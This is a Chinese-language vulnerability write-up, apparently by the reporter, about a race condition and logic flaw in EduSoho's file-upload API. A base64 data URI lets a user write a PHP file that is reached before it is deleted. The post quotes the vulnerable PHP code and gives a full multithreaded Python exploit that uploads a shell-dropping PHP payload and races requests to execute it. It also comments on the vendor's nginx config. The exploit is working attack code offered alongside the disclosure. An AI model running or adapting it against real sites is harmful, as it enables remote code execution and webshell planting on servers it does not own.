代码逻辑
src/ApiBundle/Api/Resource/File/File.php:10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| class File extends AbstractResource { public function add(ApiRequest $request) { $file = $request->request->get('file', null); $file = $this->fileDecode($file); if (empty($file)) { $file = $request->getHttpRequest()->files->get('file', null); }
if (empty($file)) { throw FileException::FILE_NOT_UPLOAD(); }
$group = $request->request->get('group', null); if (!in_array($group, array('tmp', 'user', 'course', 'system'))) { throw FileException::FILE_GROUP_INVALID(); } return $this->getFileService()->uploadFile($group, $file); }
protected function fileDecode($str) { if (empty($str)) { return $str; } $user = $this->getCurrentUser(); if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $str, $result)) { $filePath = $this->biz['topxia.upload.public_directory'].'/tmp/'.$user['id'].'_'.time().'.'.$result[2]; file_put_contents($filePath, base64_decode(str_replace($result[1], '', $str)));
return new FileObject($filePath); }
return null; }
|
可以看到函数fileDecode是文件写入操作,然而在进入后缀检测代码之前,有两个抛错语句
这里就存在一种逻辑问题,如果前面的代码抛错使php退出,就不会执行后面的删除操作了,shell文件会驻留在
第一个抛错是当$file
为空时,很显然无法利用
第二个抛错是当$group
不在白名单中,传入group=xxx
即可令php报错退出
条件竞争
在我提交该漏洞一年后,我再次看了下官方的修复

官方将对$group
值判断的代码提前了,盯着代码看了好几遍,才发现我一直忽视了这里真正导致漏洞的原因
这里的代码最不应该的是,将判断后缀的代码,放在文件写入后面
也就是说存在条件竞争漏洞,在php脚本删除之前仍然有机会请求到php脚本,执行代码
测试
首先需要判断目标/files/tmp/下的php脚本可访问,然后注册账号后获取uid

用多线程脚本疯狂请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from threading import Thread import requests from base64 import b64encode from time import time
target = 'http://xxx.xxx.com' account = b'test123:test123' uid = 314
def upload(): url = target + '/api/file' headers = { 'Accept': 'application/vnd.edusoho.v2+json', 'Authorization': 'Basic ' + b64encode(account).decode('utf-8'), }
shell = b'<?php file_put_contents("shell.php", "<?php var_dump(md5(666));?>");?>' base64shell = b64encode(shell).decode('utf-8') data = { 'group': 'tmp', 'file': 'data:image/php;base64,' + base64shell, }
while 1: try: requests.post(url, data=data, headers=headers) except KeyboardInterrupt: return except: pass
def request(): while 1: try: url = target + '/files/tmp/{}_{}.php'.format(uid, int(time())) resp = requests.get(url) if resp.status_code == 200: print(target + '/files/tmp/shell.php') return except KeyboardInterrupt: return except: pass
if __name__ == '__main__': up = Thread(target=upload) threads = [] for i in range(20): th = Thread(target=request) threads.append(th)
up.start() for th in threads: th.start() for th in threads: th.join()
|

注意点
- Linux下的
base64
命令编码后,然后php解码,发现帐号密码被添加了一个\n
,导致利用的时候,一直报密码错误,mmp

- 没读官方文档,不知道官方给了个配置文件示例,提醒站长禁止files目录下php脚本的执行,漏洞危害降低
后话
- 是
echo
添加的\n
,正确用法echo -n 'xxx' | base64
- 现在发现官方的nginx配置文件示例,有严重问题(还好又提醒站长仅适用与开发环境),欣赏一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| location ~ \.php$ { # [改] 请根据实际php-fpm运行的方式修改 fastcgi_pass 127.0.0.1:9000; fastcgi_split_path_info ^(.+\.php)(/.*)$; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param HTTP_PROXY ""; } # 省略部分配置
# 禁止用户上传目录下所有.php文件的访问,提高安全性 location ~ ^/files/.*\.(php|php5)$ { deny all; } }
|